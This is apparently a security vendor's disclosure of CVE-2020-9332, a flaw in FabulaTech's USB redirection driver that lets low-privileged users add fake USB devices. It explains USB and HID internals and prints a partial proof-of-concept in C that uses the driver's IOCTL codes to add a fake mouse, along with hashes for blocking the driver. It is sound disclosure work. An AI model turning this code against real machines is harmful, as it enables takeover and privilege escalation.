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Executive Summary

FabulaTech software provides a wide range of products, allowing enterprises to
connect devices to endpoints remotely using an application for redirecting USB devices
to remote sessions. Typically, FabulaTech supports Microsoft RDP, Teradici PCoIP, or
Citrix ICA protocols.
When installed, the software exposes a way for attackers to take over the device, by
either adding a virtual keyboard or other devices.
The vulnerability represents a new attack vector that allows attackers to create fake
USB devices, fully trusted by the Windows operating system (kernel), to attack a
machine in unconventional and unexpected ways.
While not all workforce is back to work on-prem, attacks of this nature could make the
transition back to the office much harder to secure.
The discovery was shared with the vendor, but there is no fix available.
Update: In light of this post, the vendor has informed us that they subsequently
implemented a fix for CVE-2020-9332 in their USB for Remote Desktop product.

Introduction

https://labs.sentinelone.com/click-from-the-backyard-cve-2020-9332/
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FabulaTech installs a bus driver as part of its “USB for Remote Desktop” software product.
The bus driver allows low privileged users to add a fully controlled software USB device,
which could be used by an attacker to elevate privileges under certain common
circumstances. The driver is signed by FabulaTech and starts automatically with the
operating system. The vulnerability was reported to the vendor on Jan 29 and Feb 4 (more
details on our responsible disclosure below) and later submitted to MITRE. The vulnerability
has received the following ID: CVE-2020-9332.

Some time ago we noticed unusual activity coming from the kernel on some of our clients’
computers. This behavior led to interop issues and looked suspicious. This prompted us to
look deeper at the driver and discover the vulnerability detailed below.

USB for Remote Desktop

USB redirection software makes remote USB devices available across the network as if they
were connected to your computer. Client side software running on your local computer
gathers information about the redirected device and passes it to the server running on the
remote computer. The server in turn uses a bus driver to create and manipulate a software
device that repeats all I/O made by the real device. Every time the device on the client side
reads data from or writes data to the computer, the client software sends the request to the
server side to replay it by the bus driver, making the OS think that a real device is attached to
the remote computer.
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More information regarding USB redirection can be found in this open source project.

So What’s the Problem?

Well, there wouldn’t be a problem if FabulaTech’s bus driver was only accessible to
privileged entities. Typically, drivers protect their device objects either by adding a security
descriptor that restricts access to system and admins only, or by enforcing security checks in
the driver itself. In this case, the controlling application should be a service running under a
privileged account.

For WDM drivers, the best way to assign a security descriptor is by using the
WdmlibIoCreateDeviceSecure routine. For KMDF drivers, WdfDeviceInitAssignSDDLString
does the job. A 2017 issue of NTInsider covers the topic in great detail.

Unfortunately, the plain old IoCreateDevice routine does not provide a way to assign a
security descriptor upon device object creation. Instead, it assumes that the security
descriptor is defined in an INF file. This indulges developers to forget about applying a
security descriptor at all, leaving device objects accessible to everyone. Modern drivers
should use the WdmlibIoCreateDeviceSecure routine to create device objects, or even
better, stick to the KMDF framework. More details on applying security descriptors to a
device object can be found in this article.

The FabulaTech driver also calls the insecure IoCreateDevice routine:

This lets a non-privileged, low integrity user add and control a software device that is fully
trusted by the OS.

https://sourceforge.net/p/usbip/git-windows/ci/master/tree/
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdmsec/nf-wdmsec-wdmlibiocreatedevicesecure
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdfdevice/nf-wdfdevice-wdfdeviceinitassignsddlstring
https://www.osr.com/nt-insider/2017-issue1/making-device-objects-accessible-safe/
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdmsec/nf-wdmsec-wdmlibiocreatedevicesecure
https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/applying-security-descriptors-on-the-device-object
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Ironically, FabulaTech services do run under LocalSystem account:
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There are many malicious scenarios that could happen due to that kind of threat. For
example, an attacker can add a fake mouse pointer device and click ‘Yes’ in the UAC
consent window, or a fake keyboard could type commands in the context of the current user.
Since these actions are coming from the software device, user interaction won’t be needed
at all. If we assume that the product can simulate any USB device, then we can do more
advanced attacks like adding a USB-ethernet network card to perform a MITM attack and so
on.

USB and HID

In order to understand how to exploit this issue, we first have to be familiar with a little USB
background, specifically with HIDs (Human Interface Devices).

One of the central concepts of USB protocol is the USB descriptor: a data structure that a
USB device returns when replying to requests from the host computer. Descriptors are a
great way for devices to provide information about themselves. When a USB device gets
plugged into the computer, the Windows kernel requests its descriptors to identify the device,
its configurations, power options and other properties. Then the kernel loads drivers that
match the device identifiers and sends a few more requests to set up the device.

A USB device might have a few configurations that define which subdevices (interfaces) are
currently active. Every interface represents an independent subdevice that shares the
physical container with other subdevices. e.g. a USB keyboard might have a builtin
touchpad. In this case the configuration should expose two interfaces: one for the keyboard
and for the mouse pointer. A device with multiple interfaces is called a composite device.
Windows treats USB interfaces as standalone devices, and each subdevice might match its
own driver.

The overall scheme of descriptor relations looks like this:
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There are a few types of USB descriptors: device, configuration, interface, endpoint and
string descriptors; for the full list and layout of the descriptors see the USB specifications at
usb.org. I will briefly explain how descriptors relate to each other to build up a USB device.

The main USB descriptor is device descriptor. It contains general information about the
device:

typedef struct _USB_DEVICE_DESCRIPTOR { 
   UCHAR bLength; 
   UCHAR bDescriptorType; 
   USHORT bcdUSB; 
   UCHAR bDeviceClass; 
   UCHAR bDeviceSubClass; 
   UCHAR bDeviceProtocol; 
   UCHAR bMaxPacketSize0; 
   USHORT idVendor; 
   USHORT idProduct; 
   USHORT bcdDevice; 
   UCHAR iManufacturer; 
   UCHAR iProduct; 
   UCHAR iSerialNumber; 
   UCHAR bNumConfigurations; 
} USB_DEVICE_DESCRIPTOR, *PUSB_DEVICE_DESCRIPTOR;

The most important fields of the device descriptor are: product ID, vendor ID and the number
of USB configurations.

https://www.usb.org/documents
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typedef struct _USB_CONFIGURATION_DESCRIPTOR { 
   UCHAR bLength; 
   UCHAR bDescriptorType; 
   USHORT wTotalLength; 
   UCHAR bNumInterfaces; 
   UCHAR bConfigurationValue; 
   UCHAR iConfiguration; 
   UCHAR bmAttributes; 
   UCHAR MaxPower; 
} USB_CONFIGURATION_DESCRIPTOR, *PUSB_CONFIGURATION_DESCRIPTOR;

The USB configuration is used to manage interfaces and power options of the device. USB
configuration descriptor is a container for USB interface descriptors. It groups interfaces
letting the device driver decide which interfaces should be enabled or disabled at any given
moment.

Imagine there is a keyboard with a builtin touchpad as mentioned earlier. The keyboard
needs a driver and the vendor might want to ship the driver together with the keyboard. One
of the possible solutions is to add a tiny USB mass storage to the keyboard. The storage
should carry the driver and a managing application. However, the vendor doesn’t want to
expose the storage once the driver gets installed. Here is where configurations come into
play. The keyboard might have two configurations: the firstconfiguration exposes three
interfaces: the keyboard itself, the touchpad and the storage. Once the driver gets installed, it
switches the keyboard to the second configuration that exposes two interfaces: the keyboard
and the touchpad.

Every configuration descriptor is followed by interface descriptors belonging to the
configuration. bNumInterfaces field designates the number of descriptors. Interface
descriptor in turn is a container for endpoint descriptors.

typedef struct _USB_INTERFACE_DESCRIPTOR { 
   UCHAR bLength; 
   UCHAR bDescriptorType; 
   UCHAR bInterfaceNumber; 
   UCHAR bAlternateSetting; 
   UCHAR bNumEndpoints; 
   UCHAR bInterfaceClass; 
   UCHAR bInterfaceSubClass; 
   UCHAR bInterfaceProtocol; 
   UCHAR iInterface; 
} USB_INTERFACE_DESCRIPTOR, *PUSB_INTERFACE_DESCRIPTOR;

Similar to the configuration descriptor, the interface descriptor is followed by endpoint
descriptors. Endpoints are similar to network ports: they are entities that actually receive
information from the host or send it back to the host. Like network ports, endpoints are
addressed by a number called bEndpointAddress. bEndpointAddress and a few other fields
together represent an endpoint descriptor:
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typedef struct _USB_ENDPOINT_DESCRIPTOR { 
   UCHAR bLength; 
   UCHAR bDescriptorType; 
   UCHAR bEndpointAddress; 
   UCHAR bmAttributes; 
   USHORT wMaxPacketSize; 
   UCHAR bInterval; 
} USB_ENDPOINT_DESCRIPTOR, *PUSB_ENDPOINT_DESCRIPTOR;

USB Request Block

One more important concept in the USB protocol is URB. USB device drivers are protocol
drivers: they use USB Request Blocks (URB) to interact with devices they back up. USB
drivers don’t access hardware resources like IO ports, IO memory or interrupts directly.
Instead, they submit URBs to the USB device stacks (usually their own) offloading the actual
hardware interaction to the lower drivers. A URB packet consists of a fixed size header that
describes the URB function and a variable size part that depends on the URB function.
These functions correspond to the requests described earlier, they can: select active
configuration, fetch device descriptors, perform data transfer to or from an endpoint, and so
on. Here is an example of a data transfer URB:

struct _URB_HEADER { 
   USHORT   Length; 
   USHORT   Function; 
   USBD_STATUS Status; 
   PVOID    UsbdDeviceHandle; 
   ULONG    UsbdFlags; 
};

struct _URB_BULK_OR_INTERRUPT_TRANSFER { 
   struct _URB_HEADER  Hdr; 
   USBD_PIPE_HANDLE   PipeHandle; 
   ULONG        TransferFlags; 
   ULONG        TransferBufferLength; 
   PVOID        TransferBuffer; 
   PMDL         TransferBufferMDL; 
   struct _URB     *UrbLink; 
   struct _URB_HCD_AREA hca; 
};

Once submitted, the URB travels to the lowest level drivers that manage USB devices
plugged into the USB ports. The lowest driver parses the URB, converts it to the physical
representation and wires it to the plugged device. Protocol approach makes USB device
driver development easy, if driver development can ever be called “easy”.

To make things even more uniform, HID was developed. The idea of HID is to generalize
user input and output to sets of predefined reports and to have generic drivers, e.g.
kbdhid.sys for keyboard, that convert these reports to the operating system events. Thus, a
device that supports HID does not need an accompanying driver at all.
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Such an architecture simplifies redirection of USB devices. To redirect a USB device one
needs to sniff URBs flowing to the real device and to repeat them on the virtual device.

PoC Time!

As mentioned earlier FabulaTech’s solution fetches the real device data from the network
and then repeats it to the software device. FabulaTech implements fetching in a user mode
service while the driver acts just as an intermediary between the service and the OS. Device
logic and replies should actually be implemented in the user mode. The driver exposes
control codes that allow the following: create a device, fetch a URB from the OS and reply to
the URB. Device creation code gets the device descriptor as input, the other two get and
return URBs. The input and output parameters are such that the driver’s private header is
followed by the URB, which is followed by the HID report.

Since the vulnerability wasn’t patched by the vendor we will not publish the full fledged
exploit that bypasses the UAC. Following the standard 90-day policy we kept this post under
embargo till 29th of April. Since the embargo period has expired and no exploit at all is
boring, we here publish a PoC that simply adds a fake mouse device using the vulnerable
driver.

First, let’s add the device with IOCTL_FT_ADD_DEVICE (0x222000) control code. The
control handler gets the device descriptor in the input buffer. The most important part of the
descriptor is device ID, the ID that identifies the device and lets the OS find the matching

https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html
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driver. The PoC uses VendorID 0E0F and ProductID 0003, which is a VMWare Virtual USB
mouse.

/*************/ 
HANDLE Event = CreateEventW(nullptr, TRUE, FALSE, nullptr); 

//Fill a few event handles 
PHANDLE pEvent = (PHANDLE)(&DeviceDesc[0x14]); 
pEvent[0] = pEvent[1] = pEvent[2] = Event; 

DWORD Returned; 
BOOL r = DeviceIoControl(Device, IOCTL_FT_ADD_DEVICE, DeviceDesc, sizeof(DeviceDesc), 
DeviceDesc, sizeof(DeviceDesc), &Returned, 0); 

if (r == TRUE) 
{ 
   printf("[+] DeviceDescn"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
/*************/ 

Second, we have to reply to a few USB descriptor requests from the OS as if we were a real
device. These requests are: select configuration, set idle, get raw report descriptor and so
on. 2 control codes, IOCTL_FT_GET_REQUEST(0x22200B) and
IOCTL_FT_SET_REQUEST(0x222017) do the job:
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/*************/ 
r = DeviceIoControl(Device, IOCTL_FT_SET_REQUEST, SelectConfig, sizeof(SelectConfig), 
SelectConfig, sizeof(SelectConfig), &Returned, 0); 

if (r == TRUE) 
{ 
   printf("[+] SelectConfign"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
Sleep(1000); 

r = DeviceIoControl(Device, IOCTL_FT_SET_REQUEST, GetMsDesc, sizeof(GetMsDesc), 
GetMsDesc, sizeof(GetMsDesc), &Returned, 0); 
if (r == TRUE) 
{ 
   printf("[+] GetMsDescn"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
Sleep(1000); 

r = DeviceIoControl(Device, IOCTL_FT_SET_REQUEST, SetIdle, sizeof(SetIdle), SetIdle, 
sizeof(SetIdle), &Returned, 0); 
if (r == TRUE) 
{ 
   printf("[+] SetIdlen"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
Sleep(1000); 

r = DeviceIoControl(Device, IOCTL_FT_SET_REQUEST, RawReportDescriptor, 
sizeof(RawReportDescriptor), RawReportDescriptor, sizeof(RawReportDescriptor), 
&Returned, 0); 
if (r == TRUE) 
{ 
   printf("[+] RawReportDescriptorn"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
Sleep(1000); 

r = DeviceIoControl(Device, IOCTL_FT_SET_REQUEST, SetIdle2, sizeof(SetIdle2), 
SetIdle2, sizeof(SetIdle2), &Returned, 0); 
if (r == TRUE) 
{ 
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   printf("[+] SetIdle2n"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
Sleep(1000); 

r = DeviceIoControl(Device, IOCTL_FT_SET_REQUEST, RawReportDescriptor2, 
sizeof(RawReportDescriptor2), RawReportDescriptor2, sizeof(RawReportDescriptor2), 
&Returned, 0); 
if (r == TRUE) 
{ 
   printf("[+] RawReportDescriptor2n"); 
} 
else 
{ 
   printf("DeviceIoControl failed: %dn", GetLastError()); 
} 
Sleep(1000); 
/*************/ 

Executing this snippet adds a very fake mouse to the OS:
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No Fix So Far

Unfortunately, the vendor did not acknowledge the vulnerability (Update: see below!). We
tried to contact the vendor via email on Jan 29, 2020 and Feb 4, 2020; however, we received
no response. We also posted a message to the FabulaTech forum, but the message was
deleted by administrators. To reduce the possible security impact from CVE-2020-9332, we
recommend refraining from using USB for Remote Desktop until the vendor addresses the
issue. We will update the post if the flaw gets fixed.

If you are not protected with SentinelOne agent, and until an official patch release by
FabulaTech, we recommend blocking the following SHA1 (the vulnerable driver – partial list):

F93A6016AC90A4FF327DED9E2561C557B65D3C78
 0730F138C1359A83367E8B289E5745D5A4452CE5

 DF3EE526243CB6EA134E8C372E7514511817C3F6
 81672069483826866DA5E2C224DA69FC03B8D67F
 1036413C72B8CBB945E6CED0DC1F2844F7984ED0
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89309C19A6DB44807352F41709A26C4411CE192F
41C6A4220FDAF62D04A9D7B4D15D566238A3EBDE
D7392470DB0FA55F35F4DACFE1706558665FFD24
057397C8058B05A832BB9CBF30B52EF38A046FDE
0F6B605D4F7AB1FD21E4A2385C6B0937DECB6280
CD6D2D56882C61B13F6A74D0789EB5196E140C53
68A7A3DC2090E8629CC19A6F9E07566E3FBC6483

Vendor Response

Since we published this post, the vendor has reached out to SentinelLabs to indicate that
CVE-2020-9332 has been fixed in USB for Remote Desktop as of version 6.0.2. The vendor
did not indicate whether the vulnerability had been fixed across all affected Fabulatech
products.


